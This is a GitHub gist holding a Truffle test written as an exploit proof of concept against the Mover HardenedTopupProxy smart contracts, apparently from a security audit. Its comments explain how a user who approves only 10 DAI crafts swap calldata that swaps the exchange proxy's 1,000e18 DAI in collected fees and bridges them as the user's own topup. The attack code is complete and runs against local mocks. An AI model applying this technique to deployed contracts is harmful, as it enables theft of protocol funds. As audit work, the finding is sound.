Skip to content

Instantly share code, notes, and snippets.

@berndartmueller
Last active October 24, 2022 21:35
Show Gist options
  • Save berndartmueller/5cfa9d784a32ecba92eb6abaf4d464d9 to your computer and use it in GitHub Desktop.
Save berndartmueller/5cfa9d784a32ecba92eb6abaf4d464d9 to your computer and use it in GitHub Desktop.
Mover Topup Exploit Fees
// load dependencies
const { expect } = require('chai');
const truffleAssert = require('truffle-assertions');
const { deployProxy } = require('@openzeppelin/truffle-upgrades');
const { time } = require('@openzeppelin/test-helpers');
const web3utils = require('web3-utils');
// mockup contracts for tests
const MockUSDC = artifacts.require('ERC20USDCMock');
const MockDAI = artifacts.require('ERC20DAIMock');
const MockSwap = artifacts.require('TokenSwapExecutorMock');
const MockBridge = artifacts.require('TokenBridgeMock');
// production contracts
const HardenedTopupProxy = artifacts.require('HardenedTopupProxy');
const ExchangeProxy = artifacts.require('ExchangeProxy');
const ContractTrustedRegistry = artifacts.require('ContractWhitelist');
// packages for signing (non-prefixed) operations
const bip39 = require('bip39');
const { hdkey } = require('ethereumjs-wallet');
const secp256k1 = require('secp256k1');
contract('HardenedTopupProxy: Trusted signature flow', function (accounts) {
beforeEach(async function () {
// 1. deploy mocked token, swap aggregator and bridge
this.mockusdc = await MockUSDC.new(accounts[0], { from: accounts[0] });
this.mockdai = await MockDAI.new(accounts[0], { from: accounts[0] });
this.swapmock = await MockSwap.new({ from: accounts[0] });
this.bridgemock = await MockBridge.new({ from: accounts[0] });
// 2. deploy topup proxy (setup chain id to develop) and exchnge proxy
this.topupproxy = await deployProxy(HardenedTopupProxy, [web3.utils.toBN('1337'), '0x820539'], { from: accounts[0] });
this.exchangeproxy = await ExchangeProxy.new({ from: accounts[0] });
// 3. initialize trusted contract registry
this.registry = await deployProxy(ContractTrustedRegistry, { from: accounts[0] });
await this.registry.add(this.bridgemock.address, { from: accounts[0] });
// 4. connect contracts
await this.topupproxy.setExchangeProxy(this.exchangeproxy.address, { from: accounts[0] });
await this.exchangeproxy.setTransferProxy(this.topupproxy.address, { from: accounts[0] });
await this.topupproxy.setTrustedRegistry(this.registry.address, { from: accounts[0] });
await this.exchangeproxy.setTrustedRegistry(this.registry.address, { from: accounts[0] });
await this.topupproxy.setCardPartnerAddress(accounts[8], { from: accounts[0] });
await this.topupproxy.setCardTopupToken(this.mockusdc.address, { from: accounts[0] });
});
it.only('can use fees from exchange proxy for topup', async function() {
// 1. create EOA and provide role of 'trusted executor' to it
const seed = await bip39.mnemonicToSeed("trophy just rib bamboo skirt follow such margin agree fence peanut vague");
const hdk = hdkey.fromMasterSeed(seed);
const addr_node = hdk.derivePath("m/44'/60'/0'/0/1"); //m/44'/60'/0'/0/0 is derivation path for the first account. m/44'/60'/0'/0/1 is the derivation path for the second account and so on
const addr = addr_node.getWallet().getAddressString(); //check that this is the same with the address that ganache list for the first account to make sure the derivation is correct
const private_key = addr_node.getWallet().getPrivateKey();
await this.topupproxy.grantRole(web3.utils.sha3("TRUSTED_EXECUTION"), addr, { from: accounts[0] });
await this.topupproxy.setAllowanceSignatureTimespan(600, { from: accounts[0] });
// @audit-info accounts[2] is to make topup with 10 DAI
await this.mockdai.transfer(accounts[2], web3.utils.toBN('10'), { from: accounts[0] });
// @audit-info Move 1_000e18 DAI fees in swap proxy to simulate fees collected
await this.mockdai.transfer(this.exchangeproxy.address, web3.utils.toBN('1000000000000000000000'), { from: accounts[0] });
expect((await this.mockdai.balanceOf(this.exchangeproxy.address)).toString()).to.equal('1000000000000000000000'); // 1_000e18 DAI in fees
// 3. sign the message by trusted executor (without prefix)
const timestampApprove = await time.latest();
const message = web3utils.encodePacked(
{value: 'MOVER TOPUP ', type: 'string'},
{value: web3.utils.keccak256(accounts[2]), type: 'bytes32'},
{value: ' TOKEN ', type: 'string'},
{value: this.mockdai.address, type: 'address'},
{value: ' AMOUNT ', type: 'string'},
{value: web3.utils.toBN('10'), type: 'uint256'}, // @audit-info only 10 DAI is provided by the user for topup
{value: ' TS ', type: 'string'},
{value: timestampApprove, type: 'uint256'}
);
const msghash = Uint8Array.from(web3.utils.hexToBytes(web3.utils.keccak256(message)));
const sig = secp256k1.ecdsaSign(msghash, private_key);
const signature = [].concat(Array.from(sig.signature), (sig.recid + 27));
// transfer all USDC mock balance to swap executor
await this.mockusdc.transfer(this.swapmock.address, web3.utils.toBN('1000000000000'), { from: accounts[0] });
expect((await this.mockusdc.balanceOf(accounts[0])).toString()).to.equal('0');
await this.registry.add(this.swapmock.address, { from: accounts[0] });
await this.mockdai.transfer(accounts[2], web3.utils.toBN('10'), { from: accounts[0] });
this.approveTx = await this.mockdai.approve(this.topupproxy.address, web3.utils.toBN('10'), { from: accounts[2] }); // @audit-info 10 DAI is approved for spending
const swapData = [].concat(web3.utils.hexToBytes(this.swapmock.address), web3.utils.hexToBytes(this.swapmock.address),
web3.utils.hexToBytes('0x0000000000000000000000000000000000000000000000000000000000000000'),
web3.utils.hexToBytes('0xec6cc0cc000000000000000000000000'), //func hash + padding for address of token from
web3.utils.hexToBytes(this.mockdai.address),
web3.utils.hexToBytes('0x000000000000000000000000'), //padding for address of token to
web3.utils.hexToBytes(this.mockusdc.address),
web3.utils.hexToBytes('0x00000000000000000000000000000000000000000000003635C9ADC5DEA00000')); // @audit-info 1_000e18 DAI (not only the 10 DAI provided, it includes collected fees) is swapped for USDC
// 1BC16D674EC80000
// 4. call topup from accounts[2] providing signed recent approval verification
const bridgeData = [].concat(web3.utils.hexToBytes(this.bridgemock.address),
web3.utils.hexToBytes('0x0000000000000000000000000000000000000000000000000000000000000000')); // bridge fee (not used in mock bridge)
const tx = await this.topupproxy.CardTopupTrusted(this.mockdai.address,
web3.utils.toBN('10'), // @audit-info 10 DAI
web3.utils.toBN(timestampApprove),
web3.utils.bytesToHex(signature),
web3.utils.toBN(0),
swapData,
web3.utils.toBN(1),
bridgeData,
'0x0000000000000000000000000000000000000000000000000000000000000000', { from: accounts[2] });
truffleAssert.eventEmitted(tx, 'CardTopup', (ev) => {
return ev.account.toString() === accounts[2] &&
ev.token.toString() === this.mockdai.address &&
ev.valueToken.toString() === '10' &&
ev.valueUSDC.toString() === '900000000';
});
const innerTx = await truffleAssert.createTransactionResult(this.exchangeproxy, tx.tx);
truffleAssert.eventEmitted(innerTx, 'ExecuteSwap', (ev) => {
return ev.user.toString() === this.topupproxy.address &&
ev.tokenIn.toString() === this.mockdai.address &&
ev.tokenOut.toString() === this.mockusdc.address &&
ev.amountIn.toString() === '10' &&
ev.amountOut.toString() === '900000000';
});
// expect balance of 'bridge' to have usdc
expect((await this.mockusdc.balanceOf(this.bridgemock.address)).toString()).to.equal('900000000'); // @audit-info 900e6 USDC is bridged by only providing 10 DAI, collected DAI fees have been stolen by the user and used as a topup
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment